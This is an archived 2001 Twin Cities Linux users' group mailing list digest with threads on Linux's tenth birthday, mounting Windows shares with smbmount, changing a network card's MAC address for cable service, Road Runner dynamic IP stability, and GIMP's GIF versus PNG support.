Aug 25, just because it's a good day to have it. Anyone? -Brian From cart0196 at tc.umn.edu Mon Aug 13 10:39:39 2001 From: cart0196 at tc.umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Mounting Windows' drives remotely In-Reply-To: References: Message-ID: <3.0.6.32.20010813103939.007e3e00@cart0196.email.umn.edu> Within and internal network, i can mount other linux boxes' hard drives remotely, and I can mount the windows partition on the same box, but can I mount a window's partition remotely if the said machine is running windows at the time? bc-s At 10:19 AM 8/13/01 -0500, you wrote: >On Mon, 13 Aug 2001, aardvarko wrote: > >> > Linux has no problem reading and wrighting a windows partition, it get's >> > mounted lust like a cd-rom. >> >> That typo could be ... badly misinterpreted. ;-) > >It's ok... I think everyone on this list has lusted over their CDROM from >time to time. It happens. > >I also like the term "Wrighting", as in "making a wrong (FAT) into a >right (ext2)". > >-Brian > > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From trammell at trammell.dyndns.org Mon Aug 13 05:24:53 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] any super beer meeting for August 25? In-Reply-To: ; from jacque@fruitioninc.com on Mon, Aug 13, 2001 at 10:09:46AM -0500 References: <20010813090202.A3766@beaver.iucha.org> Message-ID: <20010813052453.A23774@trammell.dyndns.org> On Mon, Aug 13, 2001 at 10:09:46AM -0500, Jacqueline Urick wrote: > linux isn't old enought to drink yet. Sure, it's 10 in human years, but how old is that in penguin-years? -- Just Another Perl Hacker. From ssinn at qwest.net Mon Aug 13 10:22:32 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] any super beer meeting for August 25? In-Reply-To: ; from lxy@cloudnet.com on Mon, Aug 13, 2001 at 10:26:48AM -0500 References: <20010813090202.A3766@beaver.iucha.org> Message-ID: <20010813102232.B21043@thor> Why not celebrate on both days? Two parties are better than one... On Mon, Aug 13, 2001 at 10:26:48AM -0500, Brian wrote: > On Mon, 13 Aug 2001, Florin Iucha wrote: > > > Linux turns 10. > > Where did this suddenly come from that Linux's birthday is on Aug > 25? I noticed the /. story last night about it to. According to a > /. story posted either last year or the year before, Linux's birthday is > Sept 17. I have a sneaky feeling that the official celebration is on Aug > 25, just because it's a good day to have it. Anyone? > > -Brian > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Thanks, Spencer J Sinn From dutchman at uswest.net Mon Aug 13 10:31:41 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] any super beer meeting for August 25? References: Message-ID: <3B77F2DD.761EFC60@uswest.net> Brian wrote: > > On Mon, 13 Aug 2001, Florin Iucha wrote: > > > Linux turns 10. > > Where did this suddenly come from that Linux's birthday is on Aug > 25? I noticed the /. story last night about it to. According to a > /. story posted either last year or the year before, Linux's birthday is > Sept 17. I have a sneaky feeling that the official celebration is on Aug > 25, just because it's a good day to have it. Anyone? > > -Brian > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list I believe the date is the first time Linux appeared (or announced) on the Minix newsgroup. -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From lxy at cloudnet.com Mon Aug 13 10:34:40 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Linux birthday In-Reply-To: Message-ID: I found the answer on linux10.org. Linux will not be 10 on Aug 25. On Aug 25, 1991 Linus posted a message that he was WORKING on linux however the official kernel was not posted to Usenet until September 17. So I ask... which is the real birthday of linux? -Brian From JMiller2 at dainrauscher.com Mon Aug 13 10:40:10 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] mac addresses Message-ID: <5F82C717009DF446AD6C89008A29F3941D6276@MAIL4.corp.isib.net> I am going to get another nic, Netgear FA311. Does anyone if it is possible to change the hardware address. I need to for ATT TIA John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com From hick0088 at tc.umn.edu Mon Aug 13 10:37:26 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Mounting Windows' drives remotely In-Reply-To: <3.0.6.32.20010813103939.007e3e00@cart0196.email.umn.edu> References: <3.0.6.32.20010813103939.007e3e00@cart0196.email.umn.edu> Message-ID: <20010813103726.38b8484a.hick0088@tc.umn.edu> Brian Carter-Stiglitz wrote: > > Within and internal network, i can mount other linux boxes' hard drives > remotely, and I can mount the windows partition on the same box, but can > I mount a window's partition remotely if the said machine is running > windows at the time? I think smbmount is what you're looking for. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Have you hugged your / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ private key today? \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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If you just run smbmount, it should tell you all the options and give you an example of how to use it. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From dutchman at uswest.net Mon Aug 13 10:43:41 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Mounting Windows' drives remotely References: <3.0.6.32.20010813103939.007e3e00@cart0196.email.umn.edu> <20010813103726.38b8484a.hick0088@tc.umn.edu> Message-ID: <3B77F5AD.950F50A3@uswest.net> Mike Hicks wrote: > > Brian Carter-Stiglitz wrote: > > > > Within and internal network, i can mount other linux boxes' hard drives > > remotely, and I can mount the windows partition on the same box, but can > > I mount a window's partition remotely if the said machine is running > > windows at the time? > > I think smbmount is what you're looking for. > > -- > _ _ _ _ _ ___ _ _ _ ___ _ _ __ Have you hugged your > / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ private key today? > \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) > [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] > > ------------------------------------------------------------------------ > Part 1.2Type: application/pgp-signature In addition, with Windows2000 and their Unix Resource Kit, you should be able to use NFS. -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From esper at sherohman.org Mon Aug 13 10:51:01 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Linux birthday In-Reply-To: ; from lxy@cloudnet.com on Mon, Aug 13, 2001 at 10:34:40AM -0500 References: Message-ID: <20010813105101.D20296@sherohman.org> On Mon, Aug 13, 2001 at 10:34:40AM -0500, Brian wrote: > I found the answer on linux10.org. Linux will not be 10 on Aug 25. On > Aug 25, 1991 Linus posted a message that he was WORKING on linux however > the official kernel was not posted to Usenet until September 17. So I > ask... which is the real birthday of linux? Seems obvious to me: Linux was conceived on Aug 25 and born on Sept 17. (I never realized that the gestation of a Free OS was under a month...) -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From labmat at mn.mediaone.net Mon Aug 13 09:59:29 2001 From: labmat at mn.mediaone.net (Matthew LaBerge) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] mac addresses In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D6276@MAIL4.corp.isib.net> Message-ID: <200108131556.f7DFtxI27691@mnmai05.mn.mediaone.net> If your using AT&T Broadband you shouldnt have to keep the same MAC adress, you just need to call the up and tell them to re-provision your modem. On 13 Aug 2001 10:40:10 -0500, Miller, John wrote: > I am going to get another nic, Netgear FA311. Does anyone if it is > possible to change the hardware address. I need to for ATT > > TIA > > John Miller > Dain Rauscher > Information Services - Capital Markets > Software Developer > Phone: 612-547-7573 > Fax: 612-547-7580 > IS - Mail Stop: T23A > E-mail: MailTo:JMiller2@DainRauscher.com > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From natecars at real-time.com Mon Aug 13 10:56:52 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] mac addresses In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D6276@MAIL4.corp.isib.net> Message-ID: On Mon, 13 Aug 2001, Miller, John wrote: > I am going to get another nic, Netgear FA311. Does anyone if it is > possible to change the hardware address. I need to for ATT 'ifconfig' should do it for'ya.. works with the fa310's, at least. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jesse_erdmann at securecomputing.com Mon Aug 13 10:48:36 2001 From: jesse_erdmann at securecomputing.com (Jesse Erdmann) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Linux birthday References: Message-ID: <200108131549.f7DFnf609601@beach.sctc.com> Urm... didn't we just go through this sort of thing with the stem-cell debate??? When does life begin? I don't know if I can take another round of that. Brian wrote: > > I found the answer on linux10.org. Linux will not be 10 on Aug 25. On > Aug 25, 1991 Linus posted a message that he was WORKING on linux however > the official kernel was not posted to Usenet until September 17. So I > ask... which is the real birthday of linux? > > -Brian > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jesse Erdmann Engineer Secure Computing Corp. From hick0088 at tc.umn.edu Mon Aug 13 11:55:10 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Crayons Message-ID: <20010813115510.41cf75ec.hick0088@tc.umn.edu> Anybody know these folks? http://www.informationweek.com/thisweek/story/IWK20010712S0018 ``Up in the wilds of Wisconsin and Minnesota, where the nights grow cold in August...'' Heh. Right. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Good Lord, the little / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ stoner's got a point. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From sos at zjod.net Mon Aug 13 13:23:23 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:09 2005 Subject: [TCLUG] Crayons In-Reply-To: <20010813115510.41cf75ec.hick0088@tc.umn.edu> from "Mike Hicks" at Aug 13, 2001 11:55:10 AM Message-ID: <200108131823.NAA15196@zjod.net> Mike Hicks wrote: > > > Anybody know these folks? > > http://www.informationweek.com/thisweek/story/IWK20010712S0018 > > > ``Up in the wilds of Wisconsin and Minnesota, where the nights grow cold > in August...'' Heh. Right. > Unlimited Scale's has a web page at http://www.unlimitedscale.com. It's just a single page listing their mailing address and phone number. They're reputed to be building Beowulf-type boxes out of Alpha chips, but given recent news from Convex, this may have changed. From natecars at real-time.com Mon Aug 13 13:38:44 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address Message-ID: Well, my DSL at home is currently through Rythms, so I'm getting a cable modem put in until Qwest DSL is available in my area. ($20/mo for the first 3 months.. not bad!) Anyone on the LUG have Road Runner cable? I'm wondering how 'static' their dynamic IP is.. Thanks! :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From sos at zjod.net Mon Aug 13 13:49:34 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: from "Nate Carlson" at Aug 13, 2001 01:38:44 PM Message-ID: <200108131849.NAA15383@zjod.net> Pretty static, but not permanent. I've gone as long as 45 days with the same IP address... which usually only changes when there's a power outtage and/or crash at your local AT&T Broadband cable hut. BTW: Don't set your box up as having a static-IP address. Use the dynamic-IP leases, et al. One of their "rules". BTW**2: Don't count on having your apachie server serve anything. They're blocking inbound port 80 due to CodeRed problems. Hope this helps'idly, -S Nate Carlson wrote: > > Well, my DSL at home is currently through Rythms, so I'm getting a cable > modem put in until Qwest DSL is available in my area. ($20/mo for the > first 3 months.. not bad!) > > Anyone on the LUG have Road Runner cable? I'm wondering how 'static' their > dynamic IP is.. > > Thanks! :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From zibby+tclug at ringworld.org Mon Aug 13 14:05:25 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: <200108131849.NAA15383@zjod.net> Message-ID: As far as I can tell, Time Warner land isn't blocking port 80 traffic. In Time Warner land you're still Road Runner (handy licensing of mascot I'm sure.) If you're in AT&T land you are something like AT&T@Home or AT&T Broadband or AT&T Buzz-word-of-the-week. Sooner or later they'll get them selves sorted out. I'm on Time Warner myself, and I've had my current IP address for over 70 days. I know this to be true cause my dyndns address (geekapt.homeip.net) has sent me a "no updates for 35 days" e-mail twice. So if you're box is running 24/7 it will keep the same IP for a long time. You'll still have to use a dhcp client or your lease won't be renewed, and you'll be scrwed when someone else gets leased that address. How things are in AT&T land I don't know, but remember, AT&T is not Road Runner! Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From natecars at real-time.com Mon Aug 13 14:05:34 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: <200108131849.NAA15383@zjod.net> Message-ID: On Mon, 13 Aug 2001, Steve Siegfried wrote: > Pretty static, but not permanent. I've gone as long as 45 days with the same > IP address... which usually only changes when there's a power outtage and/or > crash at your local AT&T Broadband cable hut. > > BTW: Don't set your box up as having a static-IP address. Use the dynamic-IP > leases, et al. One of their "rules". > > BTW**2: Don't count on having your apachie server serve anything. They're blocking > inbound port 80 due to CodeRed problems. Steve, You talkin about Road Runner, or AT&T? RR = Time Warner; ATT (used to) = Media One; right? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From nate at techie.com Mon Aug 13 14:08:59 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] mac addresses In-Reply-To: <200108131556.f7DFtxI27691@mnmai05.mn.mediaone.net>; from labmat@mn.mediaone.net on Mon, Aug 13, 2001 at 10:59:29AM -0400 References: <5F82C717009DF446AD6C89008A29F3941D6276@MAIL4.corp.isib.net> <200108131556.f7DFtxI27691@mnmai05.mn.mediaone.net> Message-ID: <20010813140858.A5186@candle.mn.mediaone.net> On Mon, Aug 13, 2001 at 10:59:29AM -0400, Matthew LaBerge wrote: > If your using AT&T Broadband you shouldnt have to keep the same MAC > adress, you just need to call the up and tell them to re-provision your > modem. Don't waste time calling. Use the web site. Go to help.broadband.att.com with a Java-enabled browser and use the chat applet to talk with a support agent. They can handle reprovisioning your cable modem. Be sure to have the new NIC's MAC address, the MAC address of your cable modem, and the serial number of your cable modem. Nate From loren at ensodex.com Mon Aug 13 14:09:12 2001 From: loren at ensodex.com (Loren Cahlander) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: <200108131849.NAA15383@zjod.net> Message-ID: Count yourself lucky! I am having difficulty just getting started. I have a new house, and they do not have my address in their computers. If an address is not in the system, they cannot sell service to that address. There is a box in front of my house for their wiring. There are others on my street with service. It appears that some flunky just has not gotten around to entering the data in the database. I cannot get in touch with someone in the local office. The 651 222 333 telephone number goes to a national call center. The people in the national call center cannot do anything until the local people enter the data in the system. I cannot get ahold of the local people, because the local telephone number goes to a national call center! Can you see my problems. Anyone have any ideas? > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Steve Siegfried > Sent: Monday, August 13, 2001 1:50 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Road Runner - IP Address > > > > Pretty static, but not permanent. I've gone as long as 45 days > with the same > IP address... which usually only changes when there's a power > outtage and/or > crash at your local AT&T Broadband cable hut. > > BTW: Don't set your box up as having a static-IP address. Use > the dynamic-IP > leases, et al. One of their "rules". > > BTW**2: Don't count on having your apachie server serve anything. > They're blocking > inbound port 80 due to CodeRed problems. > > Hope this helps'idly, > > -S > > Nate Carlson wrote: > > > > Well, my DSL at home is currently through Rythms, so I'm getting a cable > > modem put in until Qwest DSL is available in my area. ($20/mo for the > > first 3 months.. not bad!) > > > > Anyone on the LUG have Road Runner cable? I'm wondering how > 'static' their > > dynamic IP is.. > > > > Thanks! :) > > > > -- > > Nate Carlson | Phone : (952)943-8700 > > http://www.real-time.com | Fax : (952)943-8500 > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From sos at zjod.net Mon Aug 13 14:10:42 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: from "Nate Carlson" at Aug 13, 2001 02:05:34 PM Message-ID: <200108131910.OAA15629@zjod.net> Sorry 'bout that... I was talking about AT&T (which used to be MediaOne/RR). -S Nate Carlson wrote: > > On Mon, 13 Aug 2001, Steve Siegfried wrote: > > Pretty static, but not permanent. I've gone as long as 45 days with the same > > IP address... which usually only changes when there's a power outtage and/or > > crash at your local AT&T Broadband cable hut. > > > > BTW: Don't set your box up as having a static-IP address. Use the dynamic-IP > > leases, et al. One of their "rules". > > > > BTW**2: Don't count on having your apachie server serve anything. They're blocking > > inbound port 80 due to CodeRed problems. > > Steve, > > You talkin about Road Runner, or AT&T? > > RR = Time Warner; ATT (used to) = Media One; right? > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From nate at techie.com Mon Aug 13 14:12:03 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: ; from natecars@real-time.com on Mon, Aug 13, 2001 at 01:38:44PM -0500 References: Message-ID: <20010813141203.B5186@candle.mn.mediaone.net> On Mon, Aug 13, 2001 at 01:38:44PM -0500, Nate Carlson wrote: > Anyone on the LUG have Road Runner cable? I'm wondering how 'static' their > dynamic IP is.. Yeah. My IP address only changed once and that was quite a while ago. I'll have to check my logs if you want more details. Nate From natecars at real-time.com Mon Aug 13 14:15:05 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: <20010813141203.B5186@candle.mn.mediaone.net> Message-ID: On Mon, 13 Aug 2001, Nate Straz wrote: > > Anyone on the LUG have Road Runner cable? I'm wondering how 'static' their > > dynamic IP is.. > > Yeah. My IP address only changed once and that was quite a while ago. > I'll have to check my logs if you want more details. Nah, just idle curiosity. Thanks. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From sos at zjod.net Mon Aug 13 14:17:53 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: from "Loren Cahlander" at Aug 13, 2001 02:09:12 PM Message-ID: <200108131917.OAA15692@zjod.net> Try visiting their office (at 10 River Park Plaza, St Paul) in person, or try calling 651-493-5402. Loren Cahlander wrote: > > Count yourself lucky! I am having difficulty just getting started. I have > a new house, and they do not have my address in their computers. If an > address is not in the system, they cannot sell service to that address. > There is a box in front of my house for their wiring. There are others on > my street with service. It appears that some flunky just has not gotten > around to entering the data in the database. > > I cannot get in touch with someone in the local office. The 651 222 333 > telephone number goes to a national call center. The people in the national > call center cannot do anything until the local people enter the data in the > system. I cannot get ahold of the local people, because the local telephone > number goes to a national call center! Can you see my problems. > > Anyone have any ideas? > > > -----Original Message----- > > From: tclug-list-admin@mn-linux.org > > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Steve Siegfried > > Sent: Monday, August 13, 2001 1:50 PM > > To: tclug-list@mn-linux.org > > Subject: Re: [TCLUG] Road Runner - IP Address > > > > > > > > Pretty static, but not permanent. I've gone as long as 45 days > > with the same > > IP address... which usually only changes when there's a power > > outtage and/or > > crash at your local AT&T Broadband cable hut. > > > > BTW: Don't set your box up as having a static-IP address. Use > > the dynamic-IP > > leases, et al. One of their "rules". > > > > BTW**2: Don't count on having your apachie server serve anything. > > They're blocking > > inbound port 80 due to CodeRed problems. > > > > Hope this helps'idly, > > > > -S > > > > Nate Carlson wrote: > > > > > > Well, my DSL at home is currently through Rythms, so I'm getting a cable > > > modem put in until Qwest DSL is available in my area. ($20/mo for the > > > first 3 months.. not bad!) > > > > > > Anyone on the LUG have Road Runner cable? I'm wondering how > > 'static' their > > > dynamic IP is.. > > > > > > Thanks! :) > > > > > > -- > > > Nate Carlson | Phone : (952)943-8700 > > > http://www.real-time.com | Fax : (952)943-8500 > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From amy at real-time.com Mon Aug 13 14:35:39 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] gimp and gif Message-ID: <20010813143539.N27457@real-time.com> Can gimp save GIF files? The gif file format is greyed out when I try a Save-As. If you need transparency, is there any option other than GIF? I'd like to use all JPEG because of the GIF patent mess, but... Thanks. -- Amy Tanner amy@real-time.com From veldy at veldy.net Mon Aug 13 14:44:40 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] gimp and gif References: <20010813143539.N27457@real-time.com> Message-ID: <019201c12430$656a9b00$3028680a@tgt.com> I am not positive, but I believe you can make transparent PNG format files. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Amy Tanner" To: Sent: Monday, August 13, 2001 2:35 PM Subject: [TCLUG] gimp and gif > Can gimp save GIF files? The gif file format is greyed out when I try > a Save-As. > > If you need transparency, is there any option other than GIF? I'd like to > use all JPEG because of the GIF patent mess, but... > > Thanks. > -- > Amy Tanner > amy@real-time.com > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Mon Aug 13 14:49:16 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] gimp and gif In-Reply-To: <20010813143539.N27457@real-time.com> Message-ID: On Mon, 13 Aug 2001, Amy Tanner wrote: > Can gimp save GIF files? The gif file format is greyed out when I try > a Save-As. yeah, you gotta get the non-free stuff for gimp for it to work, though. under debian, you just do a apt-get install gimp1.2-nonfree.. not sure about redhat. > If you need transparency, is there any option other than GIF? I'd like to > use all JPEG because of the GIF patent mess, but... png? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From lxy at cloudnet.com Mon Aug 13 14:52:02 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] gimp and gif In-Reply-To: <20010813143539.N27457@real-time.com> Message-ID: On Mon, 13 Aug 2001, Amy Tanner wrote: > Can gimp save GIF files? The gif file format is greyed out when I try > a Save-As. > > If you need transparency, is there any option other than GIF? I'd like to > use all JPEG because of the GIF patent mess, but... PNG will support both transparency and animation IIRC. Otherwise I believe there's some 'nonfree' addon to the GIMP that adds full GIF support. From amy at real-time.com Mon Aug 13 14:47:24 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] gimp and gif In-Reply-To: <019201c12430$656a9b00$3028680a@tgt.com>; from veldy@veldy.net on Mon, Aug 13, 2001 at 02:44:40PM -0500 References: <20010813143539.N27457@real-time.com> <019201c12430$656a9b00$3028680a@tgt.com> Message-ID: <20010813144724.O27457@real-time.com> On Mon, Aug 13, 2001 at 02:44:40PM -0500, Thomas T. Veldhouse (veldy@veldy.net) wrote: > I am not positive, but I believe you can make transparent PNG format files. Do all browsers support PNG? -- Amy Tanner amy@real-time.com From barnabas at knicknack.net Mon Aug 13 14:53:38 2001 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] Road Runner - IP Address In-Reply-To: ; from natecars@real-time.com on Mon, Aug 13, 2001 at 01:38:44PM -0500 References: Message-ID: <20010813145338.A28113@knicknack.net> I've had the same address since 23 March, 2001. It has survived probably a half-dozen reboots, one extended power outage (> 4 hours) and a drop-me-off-the-network by RR. Not bad, IMO, for a dynamic address. As an aside, through a former employer, I was working with an ISP in the UK which had provided us with a dynamic address ISDN line. I kid you not, even when you stayed connected, your address changed more than once every 5 minutes. Eric On Mon, Aug 13, 2001 at 01:38:44PM -0500, Nate Carlson wrote: > Well, my DSL at home is currently through Rythms, so I'm getting a cable > modem put in until Qwest DSL is available in my area. ($20/mo for the > first 3 months.. not bad!) > > Anyone on the LUG have Road Runner cable? I'm wondering how 'static' their > dynamic IP is.. > > Thanks! :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From lxy at cloudnet.com Mon Aug 13 14:58:29 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] gimp and gif In-Reply-To: <20010813144724.O27457@real-time.com> Message-ID: On Mon, 13 Aug 2001, Amy Tanner wrote: > > Do all browsers support PNG? Looks like anything recent will support them: http://www.libpng.org/pub/png/pngapbr.html From veldy at veldy.net Mon Aug 13 15:03:26 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:10 2005 Subject: [TCLUG] gimp and gif References: <20010813143539.N27457@real-time.com> <019201c12430$656a9b00$3028680a@tgt.com> <20010813144724.O27457@real-time.com> Message-ID: <001601c12433$04fb3ab0$3028680a@tgt.com> All that matter. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Amy Tanner" To: Sent: Monday, August 13, 2001 2:47 PM Subject: Re: [TCLUG] gimp and gif > On Mon, Aug 13, 2001 at 02:44:40PM -0500, Thomas T. Veldhouse (veldy@veldy.net) wrote: > > I am not positive, but I believe you can make transparent PNG format files. > > Do all browsers support PNG? > > -- > Amy Tanner > amy@real-time.com > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From crumley at belka.space.umn.edu Mon Aug 13 15:04:00 2001 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] gimp and gif In-Reply-To: <20010813144724.O27457@real-time.com>; from amy@real-time.com on Mon, Aug 13, 2001 at 02:47:24PM -0500 References: <20010813143539.N27457@real-time.com> <019201c12430$656a9b00$3028680a@tgt.com> <20010813144724.O27457@real-time.com> Message-ID: <20010813150359.A2958@gordo.space.umn.edu> On Mon, Aug 13, 2001 at 02:47:24PM -0500, Amy Tanner wrote: > On Mon, Aug 13, 2001 at 02:44:40PM -0500, Thomas T. Veldhouse (veldy@veldy.net) wrote: > > I am not positive, but I believe you can make transparent PNG format files. > > Do all browsers support PNG? Anything recent support PNGs to some extent or another, though most browswer issues with the more advanced features. IE 4+ and netscape 6/mozilla do transparency, but netscape 4.x does not. See http://www.libpng.org/pub/png/pngapbr.html for details. -- Jim Crumley | Free Dmitry Sklyarov! crumley@fields.space.umn.edu | http://freesklyarov.org/ Work: 612 624-6804 or -0378 | From austad at marketwatch.com Mon Aug 13 15:09:30 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Road Runner - IP Address Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD80@mspexch2.office.mktw.net> If you want to run servers, and you have a nice fast connection at work, and are/know the network admin, you can set up a tunnel from your home network to work and use NAT to map your server at home to an IP at work. You'll get the extra latency of the tunnel, but if your latency to work is low, it's not that noticable. Jay > -----Original Message----- > From: Andy Zbikowski (Zibby) [mailto:zibby+tclug@ringworld.org] > Sent: Monday, August 13, 2001 2:05 PM > To: Steve Siegfried > Cc: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Road Runner - IP Address > > > As far as I can tell, Time Warner land isn't blocking port 80 > traffic. In Time Warner land you're still Road Runner (handy > licensing of mascot I'm > sure.) If you're in AT&T land you are something like > AT&T@Home or AT&T Broadband or AT&T 